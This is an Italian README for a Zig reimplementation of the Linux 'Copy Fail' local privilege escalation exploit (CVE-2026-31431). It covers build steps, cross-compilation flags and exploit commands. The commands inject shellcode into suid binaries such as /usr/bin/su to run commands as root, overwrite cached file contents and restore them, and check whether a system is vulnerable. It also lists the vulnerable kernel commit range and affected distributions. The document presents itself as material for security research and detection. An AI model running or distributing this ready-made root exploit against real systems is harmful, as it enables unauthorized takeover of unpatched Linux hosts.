
Implementazione in Zig del LPE Linux Copy Fail (CVE-2026-31431) che fornisce un binario autonomo per sfruttare la vulnerabilità per ricerca sulla sicurezza e rilevamento difensivo, inclusa l'iniezione di shellcode e controlli di vulnerabilità di sistema.
Implementazione Zig della proof of concept di 732 Byte per l'LPE Linux Copy Fail (CVE-2026-31431), divulgata da Theori / Xint il 29 aprile 2026. Il writeup è disponibile su copy.fail.
Questa implementazione non ha dipendenze a runtime e può essere eseguita come binario standalone.
Per compilare l'exploit è richiesta la versione 0.16.0 o superiore di zig, installabile da ziglang.org. Per compilare l'exploit, esegui il seguente comando nel terminale:
zig build
Opzionalmente, può essere compilato in modo incrociato per un Target diverso es.
zig build -Dcpu=baseline -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSmall
oppure con payload non compressi
zig build -Dcompress=false
esegui il binario compilato oppure usa zig per eseguirlo
zig-out/bin/copyfail
OPPURE
zig build run
$ zig-out/bin/copyfail
Utilizzo:
run <percorso> <dati> [offset] [-- args...] - Scrive i dati nell'eseguibile all'offset indicato (default 0) e lo esegue
sudo <percorso_suid> [comando...] - Esegue un comando come root scrivendo shellcode in un binario suid.
(il primo argomento del comando deve essere il percorso completo del programma da eseguire)
modify <percorso> <dati> [offset] - Scrive i dati nel file all'offset indicato (default 0)
reset <percorso> - Ripristina il file al suo stato originale
help - Mostra questo messaggio
L'eseguibile può essere eseguito con diversi comandi:
run
prima scrive i dati forniti all'offset indicato (default 0) nell'eseguibile al percorso fornito, poi lo esegue.
Al termine dell'esecuzione, il file viene ripristinato al suo stato originale usando posix_fadvise.
Esempio:
copyfail run /percorso/a/exe $(cat shellcode_bin) -- /bin/sh
sudo
scrive lo shellcode incluso in un binario suid e lo esegue per lanciare un comando come root.
Il codice sorgente dello shellcode si trova in payloads/sudo.zig.
Il primo argomento del comando deve essere il percorso completo del programma poiché lo shellcode non cerca il programma da eseguire.
Al termine dell'esecuzione, il file viene ripristinato come nel comando run.
Esempio:
$ copyfail sudo /usr/bin/su /usr/bin/whoami
root
modify
scrive i dati forniti all'offset indicato (default 0) nel file al percorso fornito, senza eseguirlo.
Dopo la modifica, il file NON viene ripristinato. Usa il comando reset per ripristinarlo.
Esempio:
copyfail modify /percorso/a/file "Il mio nuovo contenuto" 1337
reset
ripristina il file al percorso fornito al suo stato originale usando posix_fadvise. Questo scarta la pagina in cache e leggerà il contenuto dal disco al successivo accesso.
Esempio:
copyfail reset /percorso/a/file
is_vulnerable
verifica se il sistema è vulnerabile creando un file temporaneo, scrivendovi dati di test e rileggendoli per vedere se i dati sono stati corrotti.
Esempio:
$ copyfail is_vulnerable
avviso: Il sistema è vulnerabile
OPPURE
info: Il sistema non è vulnerabile
help
stampa il messaggio di utilizzo.
limite inferiore: torvalds/linux 72548b093ee3 agosto 2017, v4.14
(rework di iov_iter di AF_ALG che
ha introdotto la primitiva di
scrittura su file-page tramite splice
nello scatterlist AEAD)
limite superiore: torvalds/linux a664bf3d603d aprile 2026, mainline
(annulla l'ottimizzazione in-place
di algif_aead del 2017; separa gli
scatterlist di origine e destinazione
così le pagine della page-cache non
possono più essere una destinazione
crittografica scrivibile)
Nel mezzo: ogni kernel delle principali distribuzioni che non ha backportato la correzione.
Ubuntu, RHEL, SUSE, Amazon Linux e Debian sono stati tutti confermati vulnerabili
nei loro kernel standard delle immagini cloud al momento della divulgazione. I
backport a livello di distribuzione hanno iniziato a essere distribuiti intorno al
2026-04-29 insieme alla divulgazione pubblica. Per verificare se un kernel target
è nella finestra, controlla se a664bf3d603d (o il suo backport specifico della
distribuzione) è presente nel git log del kernel o nel changelog della distribuzione.
Scoperta e divulgazione originale di CVE-2026-31431: Theori / Xint. Writeup pubblico su copy.fail.
Questa implementazione Zig: Emmmmllll [email protected]
Il compilatore zig e la libreria standard: Zig Software Foundation con termini MIT https://codeberg.org/ziglang/zig.
L'exploit e il payload sono pubblicati per scopi di ricerca sulla sicurezza e rilevamento difensivo. L'uso contro sistemi di cui non si è proprietari o per i quali non si ha esplicita autorizzazione a testare è un problema tuo, non dell'autore.